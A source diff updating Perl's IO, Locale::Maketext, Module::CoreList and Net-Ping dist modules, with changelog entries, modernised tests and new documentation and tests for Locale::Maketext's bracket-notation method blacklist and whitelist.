--- a/gnu/usr.bin/perl/dist/IO/ChangeLog
+++ b/gnu/usr.bin/perl/dist/IO/ChangeLog
@@ -1,3 +1,115 @@
+IO 1.38 -- Apr 19 2018 - Todd Rinaldo
+ * Remove pre 5.8 logic from code base.
+ * Bump all IO modules to 1.38 and set required Perl to 5.8.1
+ * Fix for perl #125723
+ * IO test: adjust require for non CORE perl
+ * IO::Handle - fix precedence issue
+ * Document IO::Select error detection
+ * Rely on C89 <time.h>
+ * (perl #130856) deal with unpack_sockaddr_un() croaking
+ * Switch most open() calls to three-argument form.
+ * (perl #129788) IO::Poll: fix memory leak
+ * (perl #128095) check pack_sockaddr_un()'s return value
+ * dist/: remove . from @INC when loading optional modules
+ * Fix IO::Handle documentation mangled by a manually applied patch
+ * Make IO::Poll->poll call _poll even with an empty fd array
+ * Fix assertion when calling IO::Poll::_poll() with an empty fd array
+ * Some BSD implementations might have <sys/poll.h> instead of <poll.h>.
+
+IO 1.36 -- Jun 26 2015 (Not released to CPAN)
+ * dist/IO/t/io_utf8argv.t: Generalize for non-ASCII platforms.
+ * VMS does have fsync, so configure accordingly.
+ * Skip obsolete skip in io_xs.t.
+ * Label conditionally unused.
+ * Use <sys/poll.h> if available before going select().
+ * Fix assertion when calling IO::Poll::_poll() with an empty fd array
+ * Make IO::Poll->poll call _poll even with an empty fd array
+
+IO 1.35 -- Dec 7 2014 (Not released to CPAN)
+ * Change OP_SIBLING to OpSIBLING
+ * Improve connected() doc
+ * IRIX: fsync documented to fail on read-only filehandles.
+ * Convert all use of Test.pm to Test::More
+
+IO 1.34 -- Sep 10 2014 (Not released to CPAN)
+ * Add dual life support for use of op_sibling in IO.xs
+
+IO 1.33 -- Jun 10 2014 (Not released to CPAN)
+ * wrap op_sibling field access in OP_SIBLING* macros
+ * Make like() and unlike() in t/test.pl refuse non-qr// arguments
+ * Further simplify the sockatmark(). (And do not assign the fd in PREINIT.)
+
+IO 1.32 -- May 29 2014 (Not released to CPAN)
+ * fcntl receiving -1 from fileno, fcntl failing.
+ * Also very few spots of negative numgroups for getgroups(), and fgetc() return, but almost all checking is for fcntl.
+ * merged fix for perl #121743 and perl #121745: hopefully picked up all the fixes-to-fixes from the ticket.
+ * Fix for Coverity perl5 CIDs 28990..29003,29005..29011,29013,45354,45363,49926
+ * Argument cannot be negative (NEGATIVE_RETURNS) fd is passed to a parameter that cannot be negative.
+ * CIDs 29004, 29012: Argument cannot be negative (NEGATIVE_RETURNS) num_groups is passed to a parameter that cannot be negative and because of CIDs 29005 and 29006 also CID 28924.
+ * In the first set of issues a fd is retrieved from PerlIO_fileno, and that is then used in places like fstat(), fchown(), dup(), etc., without checking whether the fd is valid (>=0).
+ * In the second set of issues a potentially negative number is potentially passed to getgroups().
+ * The CIDs 29005 and 29006 were a bit messy: fixing them needed also resolving CID 28924 where the return value of fstat() was ignored, and for completeness adding two croak calls (with perldiag updates): a bit of a waste since it's suidperl code.
+
+IO 1.31 -- Mar 4 2014 (Not released to CPAN)
+ * dist/IO: Allow to be dual-lived - This dual-lived module has not been able to be compiled on releases earlier than 5.10.1.
+ * IO::Socket::INET: Handle getprotobyn{ame,umber} not being available
+ * dist/IO/t/io_pipe.t: Work around android only having an inbuilt echo
+ * Add examples for IO::Socket::UNIX.
+ * Remove an old note about autoflush from the POD.
+ * ioctl on perlhost platforms take a char*, not void*
+
+IO 1.30 -- Nov 13 2013 (Not released to CPAN)
+ * IO.xs: fix compiler warning
+ * [perl #75156] fix the return value and bits for removing a closed fh
+ * [perl #75156] tests for deleting a closed handle from IO::Select
+ * Fix IO::Socket::connect() in the light of $! changes
+
+IO 1.29 -- Mar 15 2013 (Not released to CPAN)
+ * Use separate macros for byte vs uv Unicode
+ * IO::Socket::INET's documentation for its Listen parameter was somewhat misleading, and the documentation for IO::Socket::Unix even more so.
+ * Address [perl #117999] for now by skipping known bad test on AIX
+ * [perl #117791] Clarify that write does not match the C 'write' semantics
+ * fix dist/IO/t/cachepropagate-unix.t
+
+IO 1.28 -- Feb 2 2013 (Not released to CPAN)
+ * dist/IO/IO.xs: Silence compiler warning. This variable is unused, doesn't need to be declared.
+
+IO 1.27 -- Feb 17 2013 (Not released to CPAN)
+ * [perl #116322]: getc() and ungetc() with unicode failure (ungetc() had no knowledge of UTF-8. )
+
+IO 1.26 -- May 13 2009 - Jan 16 2013 (Not released to CPAN)
+ * portability to Haiku-OS for the cachepropagate-*.t tests
+ * sync() on a read-only file handle doesn't work on cygwin either
+ * [rt.cpan.org #61577] VMS doesn't support UNIX sockets
+ * add Test::More as a prereq to Makefile.PL
+ * document the limitations of protocol(), sockdomain(), socktype()
+ * [rt.cpan.org #61577] try to populate socket info when not cached
+ * [rt.cpan.org #61577] propagate socket details on accept
+ * [rt.cpan.org #61577] sockdomain and socktype undef on newly accepted sockets
+ * [perl #64772] check both input and output file handles for sync (This allows sync() to be called on directory handles.)
+ * [perl #64772] TODO test for sync on read only handle
+ * Convert some tests to Test::More
+ * Correct bug report email in docs from perl5-porters@perl.org to perlbug@perl.org
+ * Remove ‘use File::Spec’ from IO::File (It is not using it any more.)
+ * [RT #36079] Convert ` to '.
+ * use :raw to avoid interference from PERL_UNICODE when creating test data
+ * Make IO::Handle::getline(s) respect the open pragma (RT 66474)
+ * Fix setting sockets nonblocking in Win32
+ * Use the exception set in select (connect()) to early return when remote end is busy or in non existing port
+ * Keep verbatim pod within 79 cols
+ * Keep verbatim pod in IO.pm within 80 cols
+ * [perl #88486] IO::File does not always export SEEK*
+ * Explicitly force the load of IO::File in IO::Handle (see the discussion in [perl #87940]).
+ * Remove various indirect method calls in IO's docs
+ * IO::Select: allow removal of IO::Handle objects without fileno
+ * Actuall excise 'Apollo DomainOS' support. We officially killed it in 5.11.0. It hadn't worked for years before that.
+ * fix various compiler warnings from XS code (void return value)
+ * Only bind to localhost in tests: "in general, tests shouldn't be listening on all interfaces."
+ * Document IO::Socket getsockopt and setsockopt
+ * Convert sv_2mortal(newSVpvn()) to newSVpvn_flags(), for 5.11.0 and later. (
+ * Minor documentation and typo fixes.
+ * Move IO from ext to dist in core perl
+
IO 1.25 -- Wed May 13 18:37:33 CDT 2009
* Fix test warnings in io_dir
* skip tests known to cause a segfault 5.10.0
diff --git a/gnu/usr.bin/perl/dist/IO/Makefile.PL b/gnu/usr.bin/perl/dist/IO/Makefile.PL
index 7783cf995da..0fd03318711 100644
--- a/gnu/usr.bin/perl/dist/IO/Makefile.PL
+++ b/gnu/usr.bin/perl/dist/IO/Makefile.PL
@@ -1,6 +1,6 @@
# This -*- perl -*- script makes the Makefile
-BEGIN { require 5.006_001 }
+BEGIN { require 5.008_001 }
use ExtUtils::MakeMaker;
use Config qw(%Config);
my $PERL_CORE = grep { $_ eq 'PERL_CORE=1' } @ARGV;
@@ -19,12 +19,6 @@ unless ($PERL_CORE or exists $Config{'i_poll'}) {
}
}
-if ($] < 5.008 and !$PERL_CORE) {
- open(FH,">typemap");
- print FH "const char * T_PV\n";
- close(FH);
-}
-
#--- Write the Makefile
WriteMakefile(
@@ -35,6 +29,7 @@ WriteMakefile(
AUTHOR => 'Graham Barr <gbarr@cpan.org>',
PREREQ_PM => {
'Test::More' => 0,
+ 'File::Temp' => '0.15',
},
( $PERL_CORE
? ()
diff --git a/gnu/usr.bin/perl/dist/IO/t/IO.t b/gnu/usr.bin/perl/dist/IO/t/IO.t
index 2551b2468dc..247940f8e4e 100755
--- a/gnu/usr.bin/perl/dist/IO/t/IO.t
+++ b/gnu/usr.bin/perl/dist/IO/t/IO.t
@@ -93,7 +93,7 @@ my $fakemod = File::Spec->catfile( $fakedir, 'fakemod.pm' );
my $flag;
if ( -d $fakedir or mkpath( $fakedir ))
{
- if (open( OUT, ">$fakemod"))
+ if (open( OUT, '>', $fakemod ))
{
(my $package = <<' END_HERE') =~ tr/\t//d;
package IO::fakemod;
diff --git a/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t b/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t
index e3e438ea1ca..9ec42b04556 100644
--- a/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t
+++ b/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t
@@ -14,10 +14,25 @@ use Test::More;
plan skip_all => "UNIX domain sockets not implemented on $^O"
if ($^O =~ m/^(?:qnx|nto|vos|MSWin32|VMS)$/);
-plan tests => 15;
-
my $socketpath = catfile(tempdir( CLEANUP => 1 ), 'testsock');
+# check the socketpath fits in sun_path.
+#
+# pack_sockaddr_un() just truncates the path, this may change, but how
+# it will handle such a condition is undetermined (and we might need
+# to work with older versions of Socket outside of a perl build)
+# https://rt.cpan.org/Ticket/Display.html?id=116819
+
+my $name = eval { pack_sockaddr_un($socketpath) };
+if (defined $name) {
+ my ($packed_name) = eval { unpack_sockaddr_un($name) };
+ if (!defined $packed_name || $packed_name ne $socketpath) {
+ plan skip_all => "socketpath too long for sockaddr_un";
+ }
+}
+
+plan tests => 15;
+
# start testing stream sockets:
my $listener = IO::Socket::UNIX->new(Type => SOCK_STREAM,
Listen => 1,
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_dir.t b/gnu/usr.bin/perl/dist/IO/t/io_dir.t
index 5472daa9b9d..762c452ec83 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_dir.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_dir.t
@@ -1,14 +1,6 @@
#!./perl
BEGIN {
- if ($ENV{PERL_CORE}) {
- require Config; import Config;
- if ($] < 5.00326 || not $Config{'d_readdir'}) {
- print "1..0 # Skip: readdir() not available\n";
- exit 0;
- }
- }
-
require($ENV{PERL_CORE} ? "../../t/test.pl" : "./t/test.pl");
plan(16);
@@ -42,7 +34,7 @@ ok(!$dot->rewind, "rewind on closed");
ok(!defined($dot->read));
}
-open(FH,'>X') || die "Can't create x";
+open(FH,'>','X') || die "Can't create x";
print FH "X";
close(FH) or die "Can't close: $!";
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_file.t b/gnu/usr.bin/perl/dist/IO/t/io_file.t
index 1cf60f54414..a3d79c908c4 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_file.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_file.t
@@ -16,7 +16,7 @@ can_ok( $Class, "binmode" );
### use standard open to make sure we can compare binmodes
### on both.
{ my $tmp;
- open $tmp, ">$File" or die "Could not open '$File': $!";
+ open $tmp, '>', $File or die "Could not open '$File': $!";
binmode $tmp;
print $tmp $All_Chars;
close $tmp;
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_leak.t b/gnu/usr.bin/perl/dist/IO/t/io_leak.t
new file mode 100644
index 00000000000..08cbe2b884d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/IO/t/io_leak.t
@@ -0,0 +1,37 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+
+use Test::More;
+
+eval { require XS::APItest; XS::APItest->import('sv_count'); 1 }
+ or plan skip_all => "No XS::APItest::sv_count() available";
+
+plan tests => 1;
+
+sub leak {
+ my ($n, $delta, $code, $name) = @_;
+ my $sv0 = 0;
+ my $sv1 = 0;
+ for my $i (1..$n) {
+ &$code();
+ $sv1 = sv_count();
+ $sv0 = $sv1 if $i == 1;
+ }
+ cmp_ok($sv1-$sv0, '<=', ($n-1)*$delta, $name);
+}
+
+# [perl #129788] IO::Poll shouldn't leak on errors
+{
+ package io_poll_leak;
+ use IO::Poll;
+
+ sub TIESCALAR { bless {} }
+ sub FETCH { die }
+
+ tie(my $a, __PACKAGE__);
+ sub f {eval { IO::Poll::_poll(0, $a, 1) }}
+
+ ::leak(5, 0, \&f, q{IO::Poll::_poll shouldn't leak});
+}
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_unix.t b/gnu/usr.bin/perl/dist/IO/t/io_unix.t
index 61ba3635f82..a6cd05c898f 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_unix.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_unix.t
@@ -39,7 +39,7 @@ if ($^O eq 'os2') { # Can't create sockets with relative path...
}
# Test if we can create the file within the tmp directory
-if (-e $PATH or not open(TEST, ">$PATH") and $^O ne 'os2') {
+if (-e $PATH or not open(TEST, '>', $PATH) and $^O ne 'os2') {
print "1..0 # Skip: cannot open '$PATH' for write\n";
exit 0;
}
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_utf8.t b/gnu/usr.bin/perl/dist/IO/t/io_utf8.t
index 339e278e2cc..1125155a3ed 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_utf8.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_utf8.t
@@ -1,7 +1,7 @@
#!./perl
BEGIN {
- unless ($] >= 5.008 and find PerlIO::Layer 'perlio') {
+ unless (find PerlIO::Layer 'perlio') {
print "1..0 # Skip: not perlio\n";
exit 0;
}
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod b/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod
index a391b291b7e..24c8f24d8f6 100644
--- a/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod
@@ -307,6 +307,13 @@ interested in hearing about it.)
These two methods are discussed in the section "Controlling
Lookup Failure".
+=item $lh->blacklist(@list)
+
+=item $lh->whitelist(@list)
+
+These methods are discussed in the section "Bracket Notation
+Security".
+
=back
=head2 Utility Methods
@@ -861,6 +868,73 @@ I do not anticipate that you will need (or particularly want)
to nest bracket groups, but you are welcome to email me with
convincing (real-life) arguments to the contrary.
+=head1 BRACKET NOTATION SECURITY
+
+Locale::Maketext does not use any special syntax to differentiate
+bracket notation methods from normal class or object methods. This
+design makes it vulnerable to format string attacks whenever it is
+used to process strings provided by untrusted users.
+
+Locale::Maketext does support blacklist and whitelist functionality
+to limit which methods may be called as bracket notation methods.
+
+By default, Locale::Maketext blacklists all methods in the
+Locale::Maketext namespace that begin with the '_' character,
+and all methods which include Perl's namespace separator characters.
+
+The default blacklist for Locale::Maketext also prevents use of the
+following methods in bracket notation:
+
+ blacklist
+ encoding
+ fail_with
+ failure_handler_auto
+ fallback_language_classes
+ fallback_languages
+ get_handle
+ init
+ language_tag
+ maketext
+ new
+ whitelist
+
+This list can be extended by either blacklisting additional "known bad"
+methods, or whitelisting only "known good" methods.
+
+To prevent specific methods from being called in bracket notation, use
+the blacklist() method:
+
+ my $lh = MyProgram::L10N->get_handle();
+ $lh->blacklist(qw{my_internal_method my_other_method});
+ $lh->maketext('[my_internal_method]'); # dies
+
+To limit the allowed bracked notation methods to a specific list, use the
+whitelist() method:
+
+ my $lh = MyProgram::L10N->get_handle();
+ $lh->whitelist('numerate', 'numf');
+ $lh->maketext('[_1] [numerate, _1,shoe,shoes]', 12); # works
+ $lh->maketext('[my_internal_method]'); # dies
+
+The blacklist() and whitelist() methods extend their internal lists
+whenever they are called. To reset the blacklist or whitelist, create
+a new maketext object.
+
+ my $lh = MyProgram::L10N->get_handle();
+ $lh->blacklist('numerate');
+ $lh->blacklist('numf');
+ $lh->maketext('[_1] [numerate,_1,shoe,shoes]', 12); # dies
+
+For lexicons that use an internal cache, translations which have already
+been cached in their compiled form are not affected by subsequent changes
+to the whitelist or blacklist settings. Lexicons that use an external
+cache will have their cache cleared whenever the whitelist of blacklist
+setings change. The difference between the two types of caching is explained
+in the "Readonly Lexicons" section.
+
+Methods disallowed by the blacklist cannot be permitted by the
+whitelist.
+
=head1 AUTO LEXICONS
If maketext goes to look in an individual %Lexicon for an entry
@@ -1152,7 +1226,7 @@ If you get tired of constantly saying C<print $lh-E<gt>maketext>,
consider making a functional wrapper for it, like so:
use Projname::L10N;
- use vars qw($lh);
+ our $lh;
$lh = Projname::L10N->get_handle(...) || die "Language?";
sub pmt (@) { print( $lh->maketext(@_)) }
# "pmt" is short for "Print MakeText"
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t
index d54fc330078..5ac095910e6 100755
--- a/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t
@@ -9,23 +9,20 @@ BEGIN {
{
package Whunk::L10N;
- use vars qw(@ISA %Lexicon);
- @ISA = 'Locale::Maketext';
- %Lexicon = ('hello' => 'SROBLR!');
+ our @ISA = 'Locale::Maketext';
+ our %Lexicon = ('hello' => 'SROBLR!');
}
{
package Whunk::L10N::en;
- use vars qw(@ISA %Lexicon);
- @ISA = 'Whunk::L10N';
- %Lexicon = ('hello' => 'HI AND STUFF!');
+ our @ISA = 'Whunk::L10N';
+ our %Lexicon = ('hello' => 'HI AND STUFF!');
}
{
package Whunk::L10N::zh_tw;
- use vars qw(@ISA %Lexicon);
- @ISA = 'Whunk::L10N';
- %Lexicon = ('hello' => 'NIHAU JOE!');
+ our @ISA = 'Whunk::L10N';
+ our %Lexicon = ('hello' => 'NIHAU JOE!');
}
$ENV{'REQUEST_METHOD'} = 'GET';
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t
index 44fe54d1b56..df0de3eb3cd 100644
--- a/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t
@@ -9,14 +9,12 @@ BEGIN {
{
package Whunk::L10N;
- use vars qw(@ISA);
- @ISA = 'Locale::Maketext';
+ our @ISA = 'Locale::Maketext';
}
{
package Whunk::L10N::en;
- use vars qw(@ISA);
- @ISA = 'Whunk::L10N';
+ our @ISA = 'Whunk::L10N';
}
my $lh = Whunk::L10N->get_handle('en');
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t
new file mode 100644
index 00000000000..6ed36d1edd7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t
@@ -0,0 +1,93 @@
+#!/usr/bin/perl -Tw
+
+use strict;
+use warnings;
+use Test::More tests => 17;
+
+BEGIN {
+ use_ok("Locale::Maketext");
+}
+
+{
+
+ package MyTestLocale;
+ no warnings 'once';
+
+ @MyTestLocale::ISA = qw(Locale::Maketext);
+ %MyTestLocale::Lexicon = ();
+}
+
+{
+
+ package MyTestLocale::en;
+ no warnings 'once';
+
+ @MyTestLocale::en::ISA = qw(MyTestLocale);
+
+ %MyTestLocale::en::Lexicon = ( '_AUTO' => 1 );
+
+ sub custom_handler {
+ return "custom_handler_response";
+ }
+
+ sub _internal_method {
+ return "_internal_method_response";
+ }
+
+ sub new {
+ my ( $class, @args ) = @_;
+ my $lh = $class->SUPER::new(@args);
+ $lh->{use_external_lex_cache} = 1;
+ return $lh;
+ }
+}
+
+my $lh = MyTestLocale->get_handle('en');
+my $res;
+
+# get_handle blocked by default
+$res = eval { $lh->maketext('[get_handle,en]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'get_handle blocked in bracket notation by default blacklist' );
+
+# _ambient_langprefs blocked by default
+$res = eval { $lh->maketext('[_ambient_langprefs]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, '_ambient_langprefs blocked in bracket notation by default blacklist' );
+
+# _internal_method not blocked by default
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, "_internal_method_response", '_internal_method allowed in bracket notation by default blacklist' );
+is( $@, '', 'no exception thrown by use of _internal_method under default blacklist' );
+
+# sprintf not blocked by default
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, "hello", 'sprintf allowed in bracket notation by default blacklist' );
+is( $@, '', 'no exception thrown by use of sprintf under default blacklist' );
+
+# blacklisting sprintf and numerate
+$lh->blacklist( 'sprintf', 'numerate' );
+
+# sprintf blocked by custom blacklist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'sprintf blocked in bracket notation by custom blacklist' );
+
+# blacklisting numf and _internal_method
+$lh->blacklist('numf');
+$lh->blacklist('_internal_method');
+
+# sprintf blocked by custom blacklist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'sprintf blocked in bracket notation by custom blacklist after extension of blacklist' );
+
+# _internal_method blocked by custom blacklist
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'sprintf blocked in bracket notation by custom blacklist after extension of blacklist' );
+
+# custom_handler not in default or custom blacklist
+$res = eval { $lh->maketext('[custom_handler]') };
+is( $res, "custom_handler_response", 'custom_handler allowed in bracket notation by default and custom blacklists' );
+is( $@, '', 'no exception thrown by use of custom_handler under default and custom blacklists' );
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t
new file mode 100644
index 00000000000..21f2d8574e0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/93_whitelist.t
@@ -0,0 +1,96 @@
+#!/usr/bin/perl -Tw
+
+use strict;
+use warnings;
+use Test::More tests => 17;
+
+BEGIN {
+ use_ok("Locale::Maketext");
+}
+
+{
+
+ package MyTestLocale;
+ no warnings 'once';
+
+ @MyTestLocale::ISA = qw(Locale::Maketext);
+ %MyTestLocale::Lexicon = ();
+}
+
+{
+
+ package MyTestLocale::en;
+ no warnings 'once';
+
+ @MyTestLocale::en::ISA = qw(MyTestLocale);
+
+ %MyTestLocale::en::Lexicon = ( '_AUTO' => 1 );
+
+ sub custom_handler {
+ return "custom_handler_response";
+ }
+
+ sub _internal_method {
+ return "_internal_method_response";
+ }
+
+ sub new {
+ my ( $class, @args ) = @_;
+ my $lh = $class->SUPER::new(@args);
+ $lh->{use_external_lex_cache} = 1;
+ return $lh;
+ }
+}
+
+my $lh = MyTestLocale->get_handle('en');
+my $res;
+
+# _internal_method not blocked by default
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, "_internal_method_response", '_internal_method allowed when no whitelist defined' );
+is( $@, '', 'no exception thrown by use of _internal_method without whitelist setting' );
+
+# whitelisting sprintf
+$lh->whitelist('sprintf');
+
+# _internal_method blocked by whitelist
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, '_internal_method blocked in bracket notation by whitelist' );
+
+# sprintf allowed by whitelist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, "hello", 'sprintf allowed in bracket notation by whitelist' );
+is( $@, '', 'no exception thrown by use of sprintf with whitelist' );
+
+# custom_handler blocked by whitelist
+$res = eval { $lh->maketext('[custom_handler]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'custom_handler blocked in bracket notation by whitelist' );
+
+# adding custom_handler to whitelist
+$lh->whitelist('custom_handler');
+
+# sprintf still allowed by whitelist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, "hello", 'sprintf allowed in bracket notation by whitelist' );
+is( $@, '', 'no exception thrown by use of sprintf with whitelist' );
+
+# custom_handler allowed by whitelist
+$res = eval { $lh->maketext('[custom_handler]') };
+is( $res, "custom_handler_response", 'custom_handler allowed in bracket notation by whitelist' );
+is( $@, '', 'no exception thrown by use of custom_handler with whitelist' );
+
+# _internal_method blocked by whitelist
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, '_internal_method blocked in bracket notation by whitelist' );
+
+# adding fail_with to whitelist
+$lh->whitelist('fail_with');
+
+# fail_with still blocked by blacklist
+$res = eval { $lh->maketext('[fail_with,xyzzy]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'fail_with blocked in bracket notation by blacklist even when whitelisted' );
+
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST b/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST
index 9b2b2020e6b..174e5080c5e 100644
--- a/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/MANIFEST
@@ -3,7 +3,6 @@ corelist
identify-dependencies
lib/Module/CoreList.pm
lib/Module/CoreList.pod
-lib/Module/CoreList/TieHashDelta.pm
lib/Module/CoreList/Utils.pm
README
MANIFEST
@@ -13,6 +12,7 @@ t/corelist.t
t/deprecated.t
t/find_modules.t
t/is_core.t
+t/maintainer.t
t/pod.t
t/utils.t
META.json Module JSON meta-data (added by MakeMaker)
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL b/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL
index abe12d9ddae..6abce521014 100644
--- a/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/Makefile.PL
@@ -25,13 +25,6 @@ WriteMakefile
'INSTALLDIRS' => ($] < 5.011 ? 'perl' : 'site'),
'PL_FILES' => {},
LICENSE => 'perl',
- META_MERGE => {
- resources => {
- repository => 'git://perl5.git.perl.org/perl.git',
- bugtracker => 'https://rt.perl.org/rt3/',
- homepage => "http://dev.perl.org/",
- },
- },
@extra,
)
;
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies b/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies
index 1e33f2d193a..faa88f2f0fb 100644
--- a/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/identify-dependencies
@@ -3,7 +3,7 @@ use strict;
use warnings;
use Module::CoreList;
-use vars qw/%modules/;
+our %modules;
my @files = @ARGV;
unless (@files) {
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t b/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t
index 112f77f8f46..7f1c408c21f 100755
--- a/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/t/find_modules.t
@@ -5,20 +5,20 @@ use Test::More tests => 6;
BEGIN { require_ok('Module::CoreList'); }
-is_deeply([ Module::CoreList->find_modules(qr/warnings/) ],
+is_deeply([ Module::CoreList->find_modules(qr/warnings/) ],
[ qw(encoding::warnings warnings warnings::register) ],
'qr/warnings/');
-is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ],
+is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ],
[ qw(IPC::Open2 IPC::Open3) ],
'qr/IPC::Open/');
is_deeply([ Module::CoreList->find_modules(qr/Module::/, 5.008008) ], [], 'qr/Module::/ at 5.008008');
-is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ],
+is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ],
[ qw(Test::Harness::Assert Test::Harness::Straps) ],
'qr/Test::H.*::.*s/ at 5.006001 and 5.007003');
is_deeply([ Module::CoreList::find_modules(qr/Module::CoreList/) ],
- [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ],
+ [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ],
'Module::CoreList functional' );
diff --git a/gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t b/gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t
new file mode 100644
index 00000000000..1fe707f5e19
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Module-CoreList/t/maintainer.t
@@ -0,0 +1,30 @@
+use strict;
+use warnings;
+use Test::More;
+
+plan skip_all => 'These tests only run in core'
+ unless $ENV{PERL_CORE};
+
+my @mods = qw[
+Module::CoreList
+Module::CoreList::Utils
+];
+
+plan tests => 3 + scalar @mods;
+
+my %vers;
+
+foreach my $mod ( @mods ) {
+ use_ok($mod);
+ $vers{ $mod->VERSION }++;
+}
+
+is( scalar keys %vers, 1, 'All Module-CoreList modules should have the same $VERSION' );
+
+# Check that there is a release entry for the current perl version
+my $released = $Module::CoreList::released{ $] };
+# duplicate fetch to avoid 'used only once: possible typo' warning
+$released = $Module::CoreList::released{ $] };
+
+ok( defined $released, "There is a released entry for $]" );
+like( $released, qr!^\d{4}\-\d{2}\-\d{2}$!, 'It should be a date in YYYY-MM-DD format' );
diff --git a/gnu/usr.bin/perl/dist/Net-Ping/Changes b/gnu/usr.bin/perl/dist/Net-Ping/Changes
index fa26c68f93f..2da51e7a255 100644
--- a/gnu/usr.bin/perl/dist/Net-Ping/Changes
+++ b/gnu/usr.bin/perl/dist/Net-Ping/Changes
@@ -1,5 +1,116 @@
CHANGES
-------
+2.61 Sat Jun 17 13:12:58 CEST 2017 (rurban)
+ Bugfixes
+ - Fix ping_udp for a started udp echo server (PR#5 by Stephan Loyd)
+
+2.60 Mon Jun 12 20:14:13 CEST 2017 (rurban)
+ Bugfixes
+ - Fix t/400_ping_syn.t phases
+ - Try to handle Windows Socket::getnameinfo errors
+ - Improve some tests on missing network connections
+
+2.59 Tue Apr 18 08:46:48 2017 +0200 (rurban)
+ Bugfixes
+ - skip udp ping tests on more platforms: hpux, irix, aix.
+ also pingecho on os390.
+ (from perl5 core)
+ Features
+ - added a make release target
+
